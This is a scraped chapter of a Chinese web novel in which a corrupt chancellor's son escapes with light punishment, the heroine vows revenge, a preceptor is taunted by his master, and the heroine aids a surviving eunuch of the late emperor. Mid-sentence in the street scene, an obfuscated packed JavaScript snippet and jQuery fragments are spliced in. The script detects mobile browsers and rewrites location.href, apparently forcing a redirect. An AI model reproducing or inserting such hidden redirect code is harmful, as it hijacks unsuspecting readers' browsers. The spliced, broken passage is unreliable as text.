默认冷灰
24号文字
方正启体

64.丝袅

作者:葬一花本书字数:K更新时间:
    次日,朝堂。


    朝阳初升,太极殿内文武百官分列两侧,目光皆不由自主地落在跪在殿中的上官旻承身上。


    林燕风呈完那些证据,站回自己的位置。


    上官旻承昨日的嚣张气焰荡然无存,官服上还残留着未干的酒渍,此刻正低垂着头,惊惶未定。


    “爹……救救我啊!爹!”上官旻承的哭喊声在空旷的大殿中回荡,满是惊惶。


    上官沭闭了闭眼,充耳不闻。


    帝王端坐龙椅,待他一张张翻完,目光扫过殿下,声音平淡无波,听不出喜怒:“上官旻承,私吞赈灾粮款,实乃渎职。念及你父亲多年辅政有功,朕从轻发落,免官留阶,杖责四十,限三日内全额赔补所贪粮款。”


    话音落下,殿内瞬间陷入死寂。不少官员面露诧异,这般惩处对于犯下重罪的上官旻承而言,无疑是隔靴搔痒,难平民愤。


    未等言官们出列进谏,站在百官之首的丞相上官沭已上前一步,躬身叩首,沉声道:“陛下仁厚,臣代犬子谢恩。然子不教,父之过,臣治家不严,臣愿自请罚俸一年,以赎教子之过,请陛下降罪,也恳请陛下容臣好生管教犬子,绝不让他再犯。”


    这一番请罪姿态,看似严于律己,实则将父教子不严的帽子扣在了自己头上,既维护了上官家的体面,又巧妙堵住了言官的嘴,连父亲都主动请罪,旁人若再揪着不放,反倒显得不近人情。


    林燕风率先出列,拱手直言:“陛下,此罚过轻!百姓因缺粮饿死无数,上官旻承罪不容诛,如此处置恐难服众!”


    上官旻承眼睛一红,怒视着他,“你!”


    忽而,一声脆响的巴掌打下来。


    “闭嘴!逆子!”上官沭怒道。


    紧接着,数位朝臣纷纷附议,壮着胆子恳请皇帝收回成命,重新审议。


    帝王见状,顺势抬手:“丞相既有悔意,便回去严加管教。朕意已决,此事,就此了结罢。”他此时话锋一转,又看向林燕风,“林燕风刚正不阿,取证有功,着升为从六品监察御史,专司督查地方吏治。”


    旨意既定,无人再敢多言,林燕风也只能强撑着谢恩。


    上官旻承虽挨了四十杖责,却保住了官阶性命,只需赔钱罚俸便能脱身,一场本该震动朝野的贪腐案,竟这般轻描淡写地落幕,何其荒唐!


    消息传到故尘染耳中时,她正喂着任安送来的那只鹦鹉。


    她猛地抬头,眼中满是难以置信,声音都颤抖着,道:“上官旻承只罚了四十杖,免官留阶?”


    前来禀报的下属低着头,语气沉重:“是。丞相大人以父之名请罪,陛下已下旨,此事不再追究。”


    故尘染手一抖,这几句话清晰入耳时,手腕猛地一震,银勺瞬间脱手,碟中剩余的坚果屑全撒在了地上,粉末溅了满地。


    婢女连忙俯身去收拾。


    鹦鹉受惊般扑棱了两下翅膀,她却浑然未觉,只僵在原地。


    故尘染眼里满是震怒,她走到窗边,闭了闭眼,似乎不想再看任何东西一样,努力压着情绪,她这几日生了次病,姜淮望告诉她切莫动怒。


    怪不得他敢做王来的靠山,有丞相府和皇权庇护,纵使犯了滔天大罪,也能稳如泰山。


    “民不聊生的苦,竟如此不值一提?”她攥紧拳头,咬咬牙,冷肃道,“上官旻承,这朝堂护得住你一次,护不住你一辈子!他饶你,我却不会。你欠百姓的命,我会亲自讨回来。”


    还有夜楠,故尘染生气,他到底是怎么想的?他到底想干什么?是闲龙椅太舒服还是被夺舍了?


    她刚喝完药,又因为这个胃里翻江倒海。


    不会是因为自己触发了一些小剧情,才导致剧情变了吗?这个是她想象到最坏的结果,再往别处想,帝王权术……果然深不可测,夜楠,你打的好算盘!她在心中冷笑,看似罚了,实则是给丞相府留了颜面,也给自己留了制衡的棋子,可那些百姓的命,就该这般轻贱吗?


    她曾以为,证据确凿,天理昭彰,帝王纵有偏袒,也该给天下一个交代。如今看来,在皇权的权衡里,百姓的苦难终究是最廉价的注脚。她脑海中又浮现出夜楠那副平淡无波的模样,是他,变了?


    若真是如此,那这皇权的凉薄,比她想象的更甚,她深吸一口气,强迫自己冷静,不管夜楠是何用意,不管夜楠是何心思,上官旻承的罪,绝不能就此作罢,与其在这中揣测帝王心思,不如主动出击。


    “阁主要进宫吗?”姜淮望道。


    “不。”她皱眉,语气沉冷,“先晾他几天。”


    衣裙上的装饰沉重,偏偏还跟着风一起晃,吵得她心烦意乱,一巴掌拍在窗台上泄气,转身走了,姜淮望随意扫了眼,不由自主愣住了,那清晰的落了个巴掌印。


    一个身穿墨黪(1)长袍的女子不紧不慢走上观星台的台阶,周围的宫人纷纷躬身行礼,神色恭敬。


    夜里的观星台当真是好看,繁星点点,缀满苍穹,昼蓝生光,又像是无尽的深渊,吞噬天地,只有刻意的人,才会遭天谴。


    国师白衣胜雪,修长的手拨弄星盘,许夙的影子却比月光先落在他腕间。


    凌叙白一愣,恭恭敬敬跪地行礼:“师父,您出关了。”


    名叫许夙的女子淡淡应了一声,撩袍斜靠在软枕翻看命簿,凌叙白跪坐在对面。


    他紧紧盯着许夙的一举一动,出言提醒:“师父,别插手她的命数。”


    许夙头也不抬:“怎么?怕我坏你好事?”她轻笑,“万年了,就为等她那一世,乖徒儿,你倒是长情。”


    她忽然合上册子,指尖挑起凌叙白下巴,逼他直视自己。


    许夙低笑:“啧啧啧……可惜啊,那姑娘眼里可始终没你。”


    凌叙白眸色骤冷。


    此刻,他感受到心如刀割般的疼痛,回忆翻滚在脑海里,陪他了上万年,为求那一瞬的美好,反噬了自身。


    许夙收回手,靠回软枕,漫不经心捏着一枚铜钱,道:“要抢人,就别端着这副清高样子。”


    凌叙白沉默了,伸手校准仪器。


    许夙嗤笑,“别摆了,你这星盘校准了上万年,哪次算准过她的心?”


    他眼底满是忧伤,轻声回道:“师父,天象不容儿戏。星辰轨迹已定,徒儿也只是守望。”


    许夙并未看他,只淡淡道:“守望?你守望的是星,还是你自己的执妄?”说到这,她语气一变,妄笑着,“百世还没疯?当年你走投无路时,老身可是看着的。”


    “师父!”


    许夙没有理他,起身背着手来回踱步,道:“道心若因外物起涟漪,便是无根之萍。非情痴,是怯懦,你以轮回为牢,画地为界,等的不是她,是那个不敢走出去的自己。你的自然,是那不敢伸出的手!”


    “师父……莫要说了……求您了……”他声音满是痛苦。


    许夙冷笑一声,对他此番痴情又懦弱的态度冷嘲热讽。


    约莫一刻钟的时间,许夙止住话语,凝视着呆呆的徒弟。


    真是恨铁不成钢。


    “师父……为何总是逼我?别逼徒儿……求您了……”他哑声开口。


    “非我逼你,是时光在问你,还要假寐多久?”


    “你等得太久,连怎么笑都忘了。要就别摆这副死人脸,你当年哭着求我收徒时,可比现在鲜活多了。”她临走前,在他耳边道,拍了拍他的肩。


    凌叙白僵立原地,而许夙早已离去,她走得庄重急快,宫人个个惊慌错乱,纷纷绕道。


    那一阵风把那命薄露出最后一页,凌叙白闭了闭眼,用力用掌心压住。


    上官旻承被惩罚已过了两日,这样的消息必定压不住,也不出所料,洛阳城的百姓议论纷纷。


    故尘染游走在街上,混在洛阳城熙攘的人流里,街角茶肆处,几个布衣百姓正唾沫横飞地议论:


    “听说了吗?上官大人就罚了个薪,还是当着满朝文武的面,轻飘飘揭过了!”


    “嗨,人家是丞相公子,哪是咱们平头百姓能比的……前些日子城外饿死的那些人,怕是白死了。”


    “嘘!小声点!没瞧见官府的人在盯梢吗?”


    话音未落,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644079|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便有身着官服的人恶狠狠地瞪过来,百姓们慌忙噤声,各自散开。


    故尘染的心沉了沉,眉眼暗淡无光,实际上心里已经骂了夜楠八百万次,转身往钱庄的方向去,想拿取这月存的利息。


    她心神恍惚,脚步未稳,便与一人撞了个满怀,她忙不迭道歉,抬眼却愣住了。


    “对不住,对不住……”对面声音嘶哑,却中气十足。


    眼前是个须发皆白的老人,粗布麻衣,容颜苍老,低眉顺眼,故尘染脑海里杂碎的记忆拼好,心头猛地一震,她记起来了,他正是曾侍奉过先帝的太监。


    他摆了摆手,明显没认出来故尘染,抬脚欲走。


    可故尘染不让,夜楠弑父后几乎把先帝身边的人杀了个精光,她才不站这个狗皇帝,但这老头若是让夜楠在城里的眼线看见了,说不定故尘染这次,就是见他的最后一面了。


    “老人家!您请留步!”


    他错愕了一瞬,睁大眼睛努力看着。


    “您……是先帝身边的近侍公公吧?”她声音发颤,不敢置信。


    他瞳孔骤缩,也认出了她,猛地抬头,“故小姐吗……您……”


    故尘染只觉后背发凉,下意识环顾四周,拉着他快步躲进旁边巷子。


    “先帝驾崩时,您不是……”


    他浑浊的眼中闪过一丝仇恨,随即化为无尽的悲凉,哀道:“咱家命大,装死逃过一劫。只是那些弟兄……”他哽咽着说不下去,“小姐……不对,娘娘既然识得咱家,定是知道些内情的。如今陛下……”


    他叹了口气。


    故尘染捏了捏掌心,皱着眉。


    “洛阳城人多眼杂,可与我去一处地方细谈吗?”


    闻言,他笑着摆了摆手,“咱家今日动身回乡了,总躲在洛阳终究不是办法,家中……有些变故。”


    她遗憾地点了点头。


    又快速摘掉手腕上的镯子,取下几枚戒指和簪子塞到他怀里。


    “娘娘……这使不得啊。”


    她摆手,接着把自己的玉佩也摘下来给他。


    “不碍事不碍事,拿着吧。”


    直到护着老人到了城门,故尘染攥手望着。


    老人回头时,眼里有泪光。


    他仅仅被这些金银打动否?


    只有他知道,不是。


    泪也没落,那便代表还不是终点。


    故尘染对上视线,才反应过来,定了定神,深吸一口气,“公公,您……您叫什么名字?日后若有难处,尽管找我。”


    她看着眼前这个幸存的老太监,看着他鬓角那苍白的发丝,忽然明白,这或许这是某处剧情节点的关键,拿住夜楠的把柄。


    他仰头望向灰蒙蒙的天,嘴唇颤了很久,才从牙缝里挤出三个字,声音轻得像风一吹就散。


    “……张念忠。”


    念忠,念忠,念的是先帝的忠,还是对逝去弟兄们的忠?故尘染心头又是一涩。


    张念忠深深看了她一眼,那眼神里有感激,有嘱托,更有一丝难以言喻的决绝。故尘染看不懂。


    “娘娘大恩,咱家记下了。”说完,他不再停留,佝偻着身子,一步步挪向城外,每一步都像是踩在时光的灰烬上,沉重、负胆。


    和新使命。


    直到那苍老的背影彻底消失在视线,故尘染才发现自己的掌心早已被冷汗浸湿,她勾了勾发丝走了。


    小剧场:阁主的小金库是怎么空的?


    阁主每日出门,必把自己打扮得明艳照人,从头到脚的珠宝首饰一应俱全。她的小金库囤满了夜楠送来的珠宝首饰与银票,家底本十分丰厚。


    众所周知,阁主喜欢赏赐人。


    如果出门忘了带银票或者钱袋,则直接取下簪子或其他饰品送出去。


    久而久之,小金库日益减少。


    阁主直呼心疼!


    还有一个小细节,阁主的发簪可不只是装饰,藏着三大妙用:其一,可作暗器自保;其二,若手下遇险,可赠予他们当盘缠,助其远走高飞;其三,自然是为了好看,衬得自己风姿绰约。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)